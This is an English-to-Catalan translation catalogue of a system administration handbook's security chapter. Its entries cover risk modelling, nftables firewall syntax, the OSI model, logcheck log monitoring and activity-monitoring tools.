0 - en to ca-ES translation catalogue (328 entries)

en: Firewall
ca-ES: Tallafocs

en: Security
ca-ES: Seguretat

en: An information system can have a varying level of importance depending on the environment. In some cases, it is vital to a company's survival. It must therefore be protected from various kinds of risks. The process of evaluating these risks, defining and implementing the protection is collectively known as the “security process”.
ca-ES: Un sistema d'informació pot tenir un nivell d'importància variable depenent de l'entorn. En alguns casos, és vital per a la supervivència d'una empresa. Per tant, ha de protegir-se de diversos tipus de riscos. El procés d'avaluació d'aquests riscos, la definició i aplicació de la protecció es coneix col·lectivament com el "procés de seguretat".

en: Defining a Security Policy
ca-ES: Definició d'una política de seguretat

en: <emphasis>CAUTION</emphasis> Scope of this chapter
ca-ES: <emphasis>COMPTE</emphasis> Àmbit d'aquest capítol

en: The word “security” itself covers a vast range of concepts, tools and procedures, none of which apply universally. Choosing among them requires a precise idea of what your goals are. Securing a system starts with answering a few questions. Rushing headlong into implementing an arbitrary set of tools runs the risk of focusing on the wrong aspects of security.
ca-ES: La paraula "seguretat" en si cobreix una àmplia gamma de conceptes, eines i procediments, cap dels quals té validesa universal. Triar entre ells requereix una idea precisa de quins són els propis objectius. Assegurar un sistema comença per respondre a unes quantes preguntes. Precipitar-se per l'aplicació d'un conjunt arbitrari d'eines corre el risc de centrar-se en aspectes erronis de la seguretat.

en: The very first thing to determine is therefore the goal. A good approach to help with that determination starts with the following questions:
ca-ES: Per tant, el primer que cal determinar és l'objectiu. Un bon enfocament per a ajudar amb aquesta determinació comença amb les següents preguntes:

en: <emphasis>What</emphasis> are we trying to protect? The security policy will be different depending on whether we want to protect computers or data. In the latter case, we also need to know which data.
ca-ES: <emphasis>Què</emphasis> s'està intentant protegir? La política de seguretat serà diferent depenent de si volem protegir els ordinadors o les dades. En aquest últim cas, també hem de saber quines dades.

en: What are we trying to protect <emphasis>against</emphasis>? Is it leakage of confidential data? Accidental data loss? Revenue loss caused by disruption of service?
ca-ES: De què estem intentant protegir-nos <emphasis>contra</emphasis>? És una fuita de dades confidencials? La pèrdua accidental de dades? Pèrdua d'ingressos causada per la interrupció del servei?

en: Also, <emphasis>who</emphasis> are we trying to protect against? Security measures will be quite different for guarding against a typo by a regular user of the system than they would be when protecting against a determined attacker group.
ca-ES: A més, <emphasis>de qui</emphasis> ens estem intentant protegir? Les mesures de seguretat seran molt diferents per a protegir-se contra un error de control per part d'un usuari regular del sistema del que seria protegir-se contra un grup atacant motivat.

en: The term “risk” is customarily used to refer collectively to these three factors: what to protect, what needs to be prevented from happening, and who will try to make it happen. Modeling the risk requires answers to these three questions. From this risk model, a security policy can be constructed, and the policy can be implemented with concrete actions.
ca-ES: El terme "risc" s'utilitza habitualment per referir-se col·lectivament a aquests tres factors: què protegir, què evitar que succeeixi, i qui intentarà fer-ho. El modelatge del risc requereix respostes a aquestes tres preguntes. A partir d'aquest model de risc, es pot construir una política de seguretat i la política es pot aplicar amb accions concretes.

en: <emphasis>NOTE</emphasis> Permanent questioning
ca-ES: <emphasis>NOTA</emphasis> Qüestions permanents

en: Bruce Schneier, a world expert in security matters (not only computer security) tries to counter one of security's most important myths with a motto: “Security is a process, not a product”. Assets to be protected change in time, and so do threats and the means available to potential attackers. Even if a security policy has initially been perfectly designed and implemented, one should never rest on one's laurels. The risk components evolve, and the response to that risk must evolve accordingly.
ca-ES: Bruce Schneier, un expert mundial en qüestions de seguretat (no només sobre la seguretat informàtica) intenta contrarestar un dels mites més importants de la seguretat amb un lema: "La seguretat és un procés, no un producte". Allò que es protegeix pot canviar amb el temps, i també les amenaces i els mitjans disponibles per als possibles atacants. Fins i tot si al principi s'ha dissenyat i aplicat perfectament una política de seguretat, mai hauríem d'adormir-nos als llorers. Els components de risc evolucionen i la resposta a aquest risc ha d'evolucionar en conseqüència.

en: Extra constraints are also worth taking into account, as they can restrict the range of available policies. How far are we willing to go to secure a system? This question has a major impact on the policy to implement. The answer is too often only defined in terms of monetary costs, but the other elements should also be considered, such as the amount of inconvenience imposed on system users or performance degradation.
ca-ES: També cal tenir en compte les restriccions addicionals, ja que poden restringir la gamma de polítiques disponibles. Fins a on estem disposats a arribar per a garantir un sistema? Aquesta qüestió té un gran impacte en la política a aplicar. La resposta es defineix amb massa freqüència només en termes de costos monetaris, però també s'han de considerar els altres elements, com la quantitat de molèsties imposades als usuaris del sistema o la degradació del rendiment.

en: Once the risk has been modeled, one can start thinking about designing an actual security policy.
ca-ES: Una vegada modelat el risc, es pot començar a pensar en el disseny d'una veritable política de seguretat.

en: <emphasis>NOTE</emphasis> Extreme policies
ca-ES: <emphasis>NOTA</emphasis> Polítiques extremes

en: There are cases where the choice of actions required to secure a system is extremely simple.
ca-ES: Hi ha casos en els quals l'elecció de les accions necessàries per a garantir un sistema és extremadament simple.

en: For instance, if the system to be protected only comprises a second-hand computer, the sole use of which is to add a few numbers at the end of the day, deciding not to do anything special to protect it would be quite reasonable. The intrinsic value of the system is low. The value of the data is zero since they are not stored on the computer. A potential attacker infiltrating this “system” would only gain an unwieldy calculator. The cost of securing such a system would probably be greater than the cost of a breach.
ca-ES: Per exemple, si el sistema que ha de protegir-se només comprèn un ordinador de segona mà, l'únic ús de la qual és sumar uns pocs números al final del dia, decidir no fer res especial per a protegir-lo seria bastant raonable. El valor intrínsec del sistema és baix. El valor de les dades és zero ja que no s'emmagatzemen a l'ordinador. Un possible atacant infiltrant aquest "sistema" només guanyaria una calculadora poc flexible. El cost d'assegurar un sistema d'aquest tipus seria probablement major que el cost d'un atac.

en: At the other end of the spectrum, we might want to protect the confidentiality of secret data in the most comprehensive way possible, trumping any other consideration. In this case, an appropriate response would be the total destruction of these data (securely erasing the files, shredding of the hard disks to bits, then dissolving these bits in acid, and so on). If there is an additional requirement that data must be kept in store for future use (although not necessarily readily available), and if cost still isn't a factor, then a starting point would be storing the data on iridium–platinum alloy plates stored in bomb-proof bunkers under various mountains in the world, each of which being (of course) both entirely secret and guarded by entire armies…
ca-ES: En l'altre extrem de l'espectre, potser volem protegir la confidencialitat de dades secretes de la forma més exhaustiva possible, ignorant qualsevol altra consideració. En aquest cas, una resposta apropiada seria la destrucció total d'aquestes dades (esborrant els arxius de manera segura, esmicolant els discos durs a trossets i després dissolent aquests trossos en àcid, etc.). Si hi ha un requisit addicional que les dades s'han de mantenir en emmagatzematge per a un ús futur (encara que no necessàriament disponible de manera immediata), i si el cost encara no és un factor, llavors un punt de partida seria emmagatzemar les dades de les plaques d'aliatge d'iridium-platí emmagatzemades en búnquers a prova de bombes sota diverses muntanyes del món, cadascuna de les quals és (per descomptat) totalment secreta i vigilada per exèrcits sencers…

en: Extreme though these examples may seem, they would, nevertheless, be an adequate response to defined risks, insofar as they are the outcome of a thought process that takes into account the goals to reach and the constraints to fulfill. When coming from a reasoned decision, no security policy is less respectable than any other.
ca-ES: Encara que aquests exemples puguin semblar extremistes, serien sens dubte una resposta adequada als riscos definits, en la mesura en què són el resultat d'un procés de reflexió que té en compte els objectius a aconseguir i les limitacions a complir. Quan procedeix d'una decisió raonada, cap política de seguretat és menys respectable que cap altra.

en: In most cases, the information system can be segmented in consistent and mostly independent subsets. Each subsystem will have its own requirements and constraints, and so the risk assessment and the design of the security policy should be undertaken separately for each. A good principle to keep in mind is that a short and well-defined perimeter is easier to defend than a long and winding frontier. The network organization should also be designed accordingly: the sensitive services should be concentrated on a small number of machines, and these machines should only be accessible via a minimal number of check-points; securing these check-points will be easier than securing all the sensitive machines against the entirety of the outside world. It is at this point that the usefulness of network filtering (including by firewalls) becomes apparent. This filtering can be implemented with dedicated hardware, but a possibly simpler and more flexible solution is to use a software firewall such as the one integrated in the Linux kernel.
ca-ES: En la majoria dels casos, el sistema d'informació es pot segmentar en subconjunts consistents i majoritàriament independents. Cada subsistema tindrà els seus propis requisits i restriccions, per la qual cosa l'avaluació del risc i el disseny de la política de seguretat haurien de realitzar-se per separat per a cadascun. Un bon principi que cal tenir en compte és que un perímetre curt i ben definit és més fàcil de defensar que una frontera llarga i sinuosa. L'organització de la xarxa també hauria de dissenyar-se en conseqüència: els serveis sensibles haurien de concentrar-se en un petit nombre de màquines, i aquestes màquines només haurien de ser accessibles a través d'un nombre mínim de punts de control; assegurar aquests punts de control serà més fàcil que assegurar totes les màquines sensibles contra la totalitat del món exterior. És en aquest punt que la utilitat del filtrat de xarxa (incloent-hi els tallafocs) es fa evident. Aquest filtratge es pot implementar amb un maquinari dedicat, però una solució possiblement més simple i flexible és utilitzar un tallafocs de programari com el que ve integrat al nucli de Linux.

en: Firewall or Packet Filtering
ca-ES: Tallafocs o filtratge de paquets

en: <primary>firewall</primary>
ca-ES: <primary>tallafocs</primary>

en: <emphasis>BACK TO BASICS</emphasis> Firewall
ca-ES: <emphasis>TORNAR A LES BASES</emphasis> Tallafocs

en: <primary>packet</primary><secondary>IP</secondary>
ca-ES: <primary>paquet</primary><secondary>IP</secondary>

en: A <emphasis>firewall</emphasis> is a piece of computer equipment with hardware and/or software that sorts the incoming or outgoing network packets (coming to or from a local network) and only lets through those matching certain predefined conditions.
ca-ES: Un <emphasis>tallafocs</emphasis> o «firewall» és un equip amb maquinari i/o programari que ordena els paquets de xarxa entrants o sortints (que venen cap o des d'una xarxa local) i només permet passar als que coincideixin amb certes condicions predefinides.

en: A firewall is a filtering network gateway and is only effective on packets that must go through it. Therefore, it can only be effective when going through the firewall is the only route for these packets.
ca-ES: Un tallafocs és una passarel·la filtrant de xarxa i només és eficaç en paquets que han de passar a través d'ella. Per tant, només pot ser eficaç quan el pas pel tallafocs és l'única ruta per a aquests paquets.

en: <emphasis>SPECIFIC CASE</emphasis> Local Firewall
ca-ES: <emphasis>CAS ESPECÍFIC</emphasis> Tallafocs local

en: The Linux kernel embeds the <emphasis>netfilter</emphasis> firewall, which can be controlled from user space with the <command>iptables</command>, <command>ip6tables</command>, <command>arptables</command> and <command>ebtables</command> commands.
ca-ES: El nucli de Linux innclou el tallafocs <emphasis>netfilter</emphasis>, que es pot controlar des de l'espai d'usuari amb les ordres <command>iptables</command>, <command>ip6tables</command>, <command>arptables</command>i <command>ebtables</command>.

en: To enable a default firewall in Debian execute:
ca-ES: Per activar un tallafocs per defecte a Debian executeu:

en: nftables Behavior
ca-ES: El comportament d'nftables

en: A good understanding of the layers 3, 4 and 5 of the OSI (Open Systems Interconnection) model is essential to get the most from netfilter.
ca-ES: Una bona comprensió de les capes 3, 4 i 5 del model OSI (Open Systems Interconnection) és essencial per obtenir el màxim rendiment del netfilter.

en: <emphasis>CULTURE</emphasis> The OSI model
ca-ES: <emphasis>CULTURA</emphasis> El model OSI

en: The OSI model is a conceptual model to implement networking protocols without regard to its underlying internal structure and technology. Its goal is the interoperability of diverse communication systems with standard communication protocols.
ca-ES: El model OSI és un model conceptual per implementar protocols de xarxa sense tenir en compte la seva estructura interna subjacent i la tecnologia. L'objectiu és la interoperabilitat entre sistemes de comunicació diversos amb protocols de comunicació estàndard.

en: This model was defined in the standard ISO/EIC 7498. The following seven layers are described:
ca-ES: Aquest model es va definir a l'estàndard ISO/EIC 7498. Es descriuen les següents set capes:

en: Physical: transmission and reception of raw bit streams over a physical medium
ca-ES: Física: transmissió i recepció de fluxos de bits sense processar sobre un mitjà físic

en: Data Link: reliable transmission of data frames between two nodes connected by a physical layer
ca-ES: Enllaç de dades: transmissió fiable d'estructures de dades entre dos nodes connectats per una capa física

en: Network: structuring and managing a multi-node network, including addressing, routing and traffic control
ca-ES: Xarxa: estructuració i gestió d'una xarxa multinode, incloent-hi adreçament, encaminat i control de trànsit

en: Transport: reliable transmission of data segments between points on a network, including segmentation, acknowledgment and multiplexing
ca-ES: Transport: transmissió fiable de segments de dades entre punts d'una xarxa, incloent la segmentació, el reconeixement i el multiplexat

en: Session: managing communication sessions, i.e. continuous exchange of information in the form of multiple back-and-forth transmissions between two nodes
ca-ES: Sessió: gestió de les sessions de comunicació, és a dir, intercanvi continu d'informació en forma de transmissions d'anada i tornada entre dos nodes

en: Presentation: translation of data between a networking service and an application; including character encoding, data compression and encryption/decryption
ca-ES: Presentació: traducció de dades entre un servei de xarxa i una aplicació; incloent la codificació de caràcters, la compressió de dades i l'encriptatge/desencriptatge

en: Application: High-level APIs, including resource sharing, remote file access.
ca-ES: Aplicació: APIs d'alt nivell, incloent-hi la compartició de recursos, accés a fitxers remots.

en: The firewall is configured with <emphasis>tables</emphasis>, which hold <emphasis>rules</emphasis> contained in <emphasis>chains</emphasis>. Unlike iptables, <emphasis>nftables</emphasis> does not have any default table. The user decides which and how many tables to create. Every table must have only one of the following five families assigned: <literal>ip</literal>, <literal>ip6</literal>, <literal>inet</literal>, <literal>arp</literal> and <literal>bridge</literal>. <literal>ip</literal> is used if the family is not specified.
ca-ES: El tallafocs està configurat amb <emphasis>tables</emphasis> (taules), que contenen <emphasis>rules</emphasis> (regles) contingudes en <emphasis>chains</emphasis> (cadenes). A diferència d'iptables, <emphasis>nftables</emphasis> no té cap taula predeterminada. L'usuari decideix quines i quantes taules crear. Cada taula ha de tenir només una de les següents cinc famílies assignades: <literal>ip</literal>, <literal>ip6</literal>, <literal>inet</literal>, <literal>arp</literal> i <literal>bridge</literal>. S'utilitzarà <literal>ip</literal> si no s'especifica la família.

en: <primary>chain</primary>
ca-ES: <primary>cadena</primary>

en: Rules are made of statements, which includes some expressions to be matched and then a verdict statement, like <literal>accept</literal>, <literal>drop</literal>, <literal>queue</literal>, <literal>continue</literal>, <literal>return</literal>, <literal>jump chain</literal> and <literal>goto chain</literal>.
ca-ES: Les regles es composen de declaracions, que inclouen algunes expressions d'encaix i després una declaració de veredicte, com <literal>accept</literal> (acceptar), <literal>drop</literal> (retirar), <literal>queue</literal> (encuar), <literal>continu</literal> (continuar), <literal>return</literal> (retornar),<literal>jump chain</literal> (saltar cadena) i <literal>goto chain</literal> (anar a cadena).

en: <primary>rule</primary>
ca-ES: <primary>regla</primary>

en: <emphasis>BACK TO BASICS</emphasis> ICMP
ca-ES: <emphasis>TORNAR A LES BASES</emphasis> ICMP

en: For reference, a receive buffer is a small memory zone storing data between the time it arrives from the network and the time the kernel handles it. If this zone is full, new data cannot be received, and ICMP signals the problem, so that the emitter can slow down its transfer rate (which should ideally reach an equilibrium after some time).
ca-ES: Com a referència, una memòria intermèdia de recepció és una petita zona de memòria que emmagatzema dades mentrestant que arriba des de la xarxa i fins que el nucli la gestiona. Si aquesta zona està plena, no es poden rebre noves dades, i ICMP assenyala el problema, de manera que l'emissor pot alentir la seva taxa de transferència (que idealment hauria d'arribar a un equilibri després d'algun temps).

en: <primary>receive buffer</primary>
ca-ES: <primary>memòria intermèdia («buffer») de recepció</primary>

en: <primary>buffer</primary><secondary>receive buffer</secondary>
ca-ES: <primary>buffer</primary><secondary>«buffer» de recepció</secondary>

en: Moving from iptables to nftables
ca-ES: Migració des d'iptables a nftables

en: The tools <command>iptables-nft</command>, <command>ip6tables-nft</command>, <command>arptables-nft</command>, <command>ebtables-nft</command> are versions of iptables that use the nftables API, so users can keep using the old iptables syntax with them, but that is not recommended; these tools should only be used for backwards compatibility.
ca-ES: Les eines <command>iptables-nft</command>, <command>ip6tables-nft</command>, <command>arptables-nft</command> i <command>ebtables-nft</command> són versions d'iptables que utilitzen l'API nftables, de manera que els usuaris poden seguir utilitzant la sintaxi de l'antic iptables amb ells, però això no és recomanable; aquestes eines només s'han d'utilitzar per a compatibilitat amb versions anteriors.

en: Syntax of <command>nft</command>
ca-ES: Sintaxi d'<command>nft</command>

en: The <command>nft</command> commands allow manipulating tables, chains and rules. The <literal>table</literal> option supports multiple operations: <literal>add</literal>, <literal>create</literal>, <literal>delete</literal>, <literal>list</literal> and <literal>flush</literal>. <command>nft add table ip6 mangle</command> adds a new table from the family <literal>ip6</literal>.
ca-ES: Les ordres <command>nft</command> permeten manipular taules, cadenes i regles. L'opció <literal>table</literal> admet múltiples operacions: <literal>add</literal>, <literal>create</literal>, <literal>delete</literal>, <literal>list</literal> i <literal>flush</literal>. <command>nft add table ip6 mangle</command> afegeix una taula nova de la família <literal>ip6</literal>.

en: To insert a new base chain to the <literal>filter</literal> table, you can execute the following command (note that the semicolon is escaped with a backslash when using Bash):
ca-ES: Per a inserir una nova cadena base a la taula <literal>filter</literal>, podeu executar la següent ordre (tingueu en compte que el punt i coma s'escapa amb una barra inversa quan s'utilitza Bash):

en: Rules are usually added with the following syntax: <command>nft add rule [<replaceable>family</replaceable>] <replaceable>table</replaceable> <replaceable>chain</replaceable> handle <replaceable>handle</replaceable> statement</command>.
ca-ES: Les regles s'afegeixen normalment amb la sintaxi següent: <command>nft add rule [<replaceable>família</replaceable>] <replaceable>taula</replaceable> <replaceable>cadena</replaceable> handle <replaceable>handle</replaceable> statement</command>.

en: <command>insert</command> is similar to the <command>add</command> command, but the given rule is prepended to the beginning of the chain or before the rule with the given handle instead of at the end or after that rule. For example, the following command inserts a rule before the rule with handler number 8:
ca-ES: <command>insert</command> és similar a la comanda <command>add</command>, però la regla donada és ubicada al començament de la cadena o abans de la regla amb «handle» donat en lloc de fer-ho al final o després d'aquesta regla. Per exemple, la següent ordre insereix una regla abans de la regla amb el «handler» número 8:

en: The executed <command>nft</command> commands do not make permanent changes to the configuration, so they are lost if they are not saved. The firewall rules are located in <filename>/etc/nftables.conf</filename>. A simple way to save the current firewall configuration permanently is to execute <command>nft list ruleset &gt; /etc/nftables.conf</command> as root.
ca-ES: Les ordres <command>nft</command> executades no fan canvis permanents a la configuració, de manera que es perden si no es desen. Les regles del tallafocs es troben a <filename>/etc/nftables.conf</filename>. Una manera senzilla de desar la configuració actual del tallafocs d'una manera permanent és executar <command>nft list ruleset &gt; /etc/nftables.conf</command> com a superusuari.

en: <command>nft</command> allows many more operations, refer to its manual page <citerefentry><refentrytitle>nft</refentrytitle> <manvolnum>8</manvolnum></citerefentry> for more information.
ca-ES: <command>nft</command> permet moltes més operacions, vegeu la seva pàgina del manual <citerefentry><refentrytitle>nft</refentrytitle> <manvolnum>8</manvolnum></citerefentry> per a més informació.

en: Installing the Rules at Each Boot
ca-ES: Instal·lació de les regles a cada arrencada

en: In other cases, the recommended way is to register the configuration script in <literal>up</literal> directive of the <filename>/etc/network/interfaces</filename> file. In the following example, the script is stored under <filename>/usr/local/etc/arrakis.fw</filename>.
ca-ES: En altres casos, la manera recomanada és registrar l'script de configuració a la directiva <literal>up</literal> del fitxer <filename>/etc/network/interfaces</filename>. En el següent exemple, l'script s'emmagatzema sota <filename>/usr/local/etc/arrakis.fw</filename>.

en: <filename>interfaces</filename> file calling firewall script
ca-ES: fitxer <filename>interfaces</filename> cridant l'script del tallafocs

en: This obviously assumes that you are using <emphasis role="pkg">ifupdown</emphasis> to configure the network interfaces. If you are using something else (like <emphasis>NetworkManager</emphasis> or <emphasis>systemd-networkd</emphasis>), then refer to their respective documentation to find out ways to execute a script after the interface has been brought up.
ca-ES: Això suposa òbviament que esteu utilitzant <emphasis role="pkg">ifupdown</emphasis> per configurar les interfícies de xarxa. Si esteu utilitzant alguna altre cosa (com <emphasis>NetworkManager</emphasis> o <emphasis>systemd-networkd</emphasis>), llavors consulteu la respectiva documentació corresponent per trobar maneres d'executar un script després que s'hagi creat la interfície.

en: Supervision: Prevention, Detection, Deterrence
ca-ES: Supervisió: Prevenció, detecció, dissuassió

en: <primary>monitoring</primary>
ca-ES: <primary>monitorització</primary>

en: Monitoring is an integral part of any security policy for several reasons. Among them, that the goal of security is usually not restricted to guaranteeing data confidentiality, but it also includes ensuring availability of the services. It is therefore imperative to check that everything works as expected, and to detect in a timely manner any deviant behavior or change in quality of the service(s) rendered. Monitoring activity can help detecting intrusion attempts and enable a swift reaction before they cause grave consequences. This section reviews some tools that can be used to monitor several aspects of a Debian system. As such, it completes <xref linkend="sect.monitoring" />.
ca-ES: La monitorització forma part integral de qualsevol política de seguretat per diverses raons. Entre elles, que l'objectiu de la seguretat no es limita normalment a garantir la confidencialitat de les dades, sinó que també inclou garantir la disponibilitat dels serveis. Per tant, és imperatiu comprovar que tot funciona com s'espera, i detectar de manera oportuna qualsevol comportament desviat o canvis en la qualitat dels serveis prestats. L'activitat de seguiment pot ajudar a detectar intents d'intrusió i permetre una reacció ràpida abans que causin greus conseqüències. Aquesta secció revisa algunes eines que es poden utilitzar per supervisar diversos aspectes d'un sistema Debian. Com a tal, això completa <xref linkend="sect.monitoring" />.

en: Monitoring Logs with <command>logcheck</command>
ca-ES: Monitoritzar els registres amb <command>logcheck</command>

en: <primary>monitoring</primary><secondary>log files</secondary>
ca-ES: <primary>monitorització</primary><secondary>fitxers de registre</secondary>

en: The <command>logcheck</command> program monitors log files every hour by default. It sends unusual log messages in emails to the administrator for further analysis.
ca-ES: El programa <command>logcheck</command> monitoritza els fitxers de registre, per defecte, cada hora. Envia missatges de registre inusuals en correus electrònics a l'administrador per a una anàlisi posterior.

en: The list of monitored files is stored in <filename>/etc/logcheck/logcheck.logfiles</filename>; the default values work fine if the <filename>/etc/rsyslog.conf</filename> file has not been completely overhauled.
ca-ES: La llista de fitxers monitoritzats s'emmagatzema a <filename>/etc/logcheck/logcheck.logfiles</filename>; els valors per defecte funcionen bé si el fitxer <filename>/etc/rsyslog.conf</filename> no s'ha modificat excessivament.

en: <command>logcheck</command> can work in one of three more or less detailed modes: <emphasis>paranoid</emphasis>, <emphasis>server</emphasis> and <emphasis>workstation</emphasis>. The first one is <emphasis>very</emphasis> verbose, and should probably be restricted to specific servers such as firewalls. The second (and default) mode is recommended for most servers. The last one is designed for workstations, and is even terser (it filters out more messages).
ca-ES: <command>logcheck</command> pot treballar en un dels tres modes més o menys detallats: <emphasis>paranoid</emphasis>, <emphasis>server</emphasis> i <emphasis>workstation</emphasis>. El primer és <emphasis>molt</emphasis> detallat, i probablement hauria de ser restringit a servidors específics com ara tallafocs. El segon mode (per defecte) es recomana per a la majoria de servidors. L'últim està dissenyat per a estacions de treball, i és fins i tot concís (filtra més missatges).

en: In all three cases, <command>logcheck</command> should probably be customized to exclude some extra messages (depending on installed services), unless the admin really wishes to receive hourly batches of long uninteresting emails. Since the message selection mechanism is rather complex, <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> is a required — if challenging — read.
ca-ES: En els tres casos, <command>logcheck</command> probablement s'hauria de personalitzar per excloure alguns missatges addicionals (depenent dels serveis instal·lats), llevat que l'administrador realment desitgi rebre cada hora correus llargs i poc interessants. Atès que el mecanisme de selecció de missatges és bastant complex, <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> és una lectura requerida, i difícil.

en: The applied rules can be split into several types:
ca-ES: Les regles aplicades es poden dividir en diversos tipus:

en: those that qualify a message as a cracking attempt (stored in a file in the <filename>/etc/logcheck/cracking.d/</filename> directory);
ca-ES: aquells que qualifiquen un missatge com un intent d'intrusió (desats en un fitxer al directori <filename>/etc/logcheck/cracking.d/</filename>);

en: those canceling such a qualification (<filename>/etc/logcheck/cracking.ignore.d/</filename>);
ca-ES: els que cancel·len aquesta qualificació (<filename>/etc/logcheck/cracking.ignore.d/</filename>);

en: those classifying a message as a security alert (<filename>/etc/logcheck/violations.d/</filename>);
ca-ES: aquells que classifiquen un missatge com a alerta de seguretat (<filename>/etc/logcheck/violations.d/</filename>);

en: those canceling this classification (<filename>/etc/logcheck/violations.ignore.d/</filename>);
ca-ES: els que cancel·len aquesta classificació (<filename>/etc/logcheck/violations.ignore.d/</filename>);

en: finally, those applying to the remaining messages (considered as <emphasis>system events</emphasis>).
ca-ES: Finalment, els que s'apliquen als missatges restants (considerats com <emphasis>esdeveniments del sistema</emphasis>).

en: <emphasis>CAUTION</emphasis> Ignoring a message
ca-ES: <emphasis>PRECAUCIÓ</emphasis> Ignorar un missatge

en: Any message tagged as a cracking attempt or a security alert (following a rule stored in a <filename>/etc/logcheck/violations.d/myfile</filename> file) can only be ignored by a rule in a <filename>/etc/logcheck/violations.ignore.d/myfile</filename> or <filename>/etc/logcheck/violations.ignore.d/myfile-<replaceable>extension</replaceable></filename> file.
ca-ES: Qualsevol missatge etiquetat com un intent d'intrusió o una alerta de seguretat (seguint una regla emmagatzemada en un fitxer <filename>/etc/logcheck/violations.d/myfile</filename>) només es pot ignorar per una regla en un fitxer a <filename>/etc/logcheck/violations.ignore.d/myfile</filename> o a <filename>/etc/logcheck/violations.ignore.d/myfile-<replaceable>extension</replaceable></filename>.

en: A system event is always signaled unless a rule in one of the <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> directories states the event should be ignored. Of course, the only directories taken into account are those corresponding to verbosity levels equal or greater than the selected operation mode.
ca-ES: Un esdeveniment del sistema sempre s'indica llevat que una regla en una dels directoris <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> determinia que l'esdeveniment s'ha d'ignorar. Per descomptat, els únics directoris que es tenen en compte són els que corresponen a nivells de detall iguals o superiors al mode d'operació seleccionat.

en: Monitoring Activity
ca-ES: Monitorització de l'activitat

en: <primary>monitoring</primary><secondary>activity</secondary>
ca-ES: <primary>monitorització</primary><secondary>activitat</secondary>

en: <primary>activity, monitoring</primary>
ca-ES: <primary>activitat, monitorització</primary>

en: In Real Time
ca-ES: En temps real

en: <command>top</command> is an interactive tool that displays a list of currently running processes. The default sorting is based on the current amount of processor use and can be obtained with the <keycap>P</keycap> key. Other sort orders include a sort by occupied memory (<keycap>M</keycap> key), by total processor time (<keycap>T</keycap> key) and by process identifier (<keycap>N</keycap> key). The <keycap>k</keycap> key allows killing a process by entering its process identifier. The <keycap>r</keycap> key allows <emphasis>renicing</emphasis> a process, i.e. changing its priority.
ca-ES: <command>top</command> és una eina interactiva que mostra una llista de processos actualment en execució. L'ordenació per defecte es basa en la quantitat actual d'ús del processador i es pot obtenir amb la tecla <keycap>P</keycap>. Altres ordres d'ordenació inclouen una ordeació per memòria ocupada (tecla<keycap>M</keycap>), per temps total de processador (tecla <keycap>T</keycap>) i per identificador de procés (tecla <keycap>N</keycap>). La tecla <keycap>k</keycap> permet matar un procés introduint el seu identificador de procés. La tecla <keycap>r</keycap> permet «<emphasis>renicing</emphasis>» un procés, és a dir, canviar la seva prioritat.

en: When the system seems to be overloaded, <command>top</command> is a great tool to see which processes are competing for processor time or consume too much memory. In particular, it is often interesting to check if the processes consuming resources match the real services that the machine is known to host. An unknown process running as the www-data user should really stand out and be investigated, since it is probably an instance of software installed and executed on the system through a vulnerability in a web application.
ca-ES: Quan el sistema sembla estar sobrecarregat, <command>top</command> és una gran eina per veure quins processos competeixen pel temps del processador o consumeixen massa memòria. En particular, sovint és interessant comprovar si els processos que consumeixen recursos coincideixen amb els serveis reals que se sap que la màquina allotja. Un procés desconegut que s'executa com a usuari de www-data s'hauria de destacar i ser investigat, ja que és probablement una instància de programari instal·lat i executat en el sistema a través d'una vulnerabilitat en una aplicació web.

en: <command>top</command> is a very flexible tool and its manual page gives details on how to customize its display and adapt it to one's personal needs and habits.
ca-ES: <command>top</command> és una eina molt flexible i la seva pàgina manual proporciona detalls sobre com personalitzar la seva pantalla i adaptar-la a les necessitats i hàbits personals.

en: The <command>gnome-system-monitor</command> graphical tool is similar to <command>top</command> and it provides roughly the same features.
ca-ES: L'eina gràfica <command>gnome-system-monitor</command> és similar a <command>top</command> i proporciona aproximadament les mateixes característiques.

en: History
ca-ES: Historial

en: <primary>activity, history</primary>
ca-ES: <primary>activitat, historial</primary>

en: Processor load, network traffic and free disk space are information that are constantly varying. Keeping a history of their evolution is often useful in determining exactly how the computer is used.
ca-ES: La càrrega del processador, el trànsit de xarxa i l'espai de disc lliure són informació que varien constantment. Mantenir un historial de la seva evolució és sovint útil per determinar exactament com s'utilitza l'ordinador.

en: There are many dedicated tools for this task. Most can fetch data via SNMP (<emphasis>Simple Network Management Protocol</emphasis>) in order to centralize this information. An added benefit is that this allows fetching data from network elements that may not be general-purpose computers, such as dedicated network routers or switches.
ca-ES: Hi ha moltes eines dedicades a aquesta tasca. La majoria poden obtenir dades a través de SNMP («<emphasis>Simple Network Management Protocol</emphasis>» o “protocol simple de gestió de xarxa”) per centralitzar aquesta informació. Un benefici afegit és que això permet obtenir dades d'elements de xarxa que poden no ser ordinadors de propòsit general, com ara encaminadors de xarxa dedicats o commutadors.

en: This book deals with Munin in some detail (see <xref linkend="sect.munin" />) as part of <xref linkend="advanced-administration" xrefstyle="select: label quotedtitle" />. Debian also provides a similar tool, <emphasis role="pkg">cacti</emphasis>. Its deployment is slightly more complex, since it is based solely on SNMP. Despite having a web interface, grasping the concepts involved in configuration still requires some effort. Reading the HTML documentation (<filename>/usr/share/doc/cacti/html/Table-of-Contents.html</filename>) should be considered a prerequisite.
ca-ES: Aquest llibre tracta de Munin amb un cert detall (vegeu <xref linkend="sect.munin" />) com a part de <xref linkend="advanced-administration" xrefstyle="select: label quotedtitle" />. Debian també proporciona una eina similar, <emphasis role="pkg">cacti</emphasis>. El seu desplegament és lleugerament més complex, ja que es basa únicament en SNMP. Tot i tenir una interfície web, agafar els conceptes implicats en la configuració encara requereix cert esforç. Llegir la documentació HTML (<filename>/usr/share/doc/cacti/html/Table-of-Contents.html</filename>) s'ha de considerar un requisit previ.

en: <emphasis>ALTERNATIVE</emphasis> <command>mrtg</command>
ca-ES: <emphasis>ALTERNATIVA</emphasis> <command>mrtg</command>

en: <command>mrtg</command> (in the similarly-named package) is an older tool. Despite some rough edges, it can aggregate historical data and display them as graphs. It includes a number of scripts dedicated to collecting the most commonly monitored data such as processor load, network traffic, web page hits, and so on.
ca-ES: <command>mrtg</command> (al paquet del mateix nom) és una eina més antiga. Malgrat algunes “arestes aspres”, pot agregar dades històriques i mostrar-les com a grafs. Inclou una sèrie d'scripts dedicats a la recopilació de les dades monitoritzades més sovint com ara la càrrega del processador, el trànsit de xarxa, les visites a pàgines web, etc.

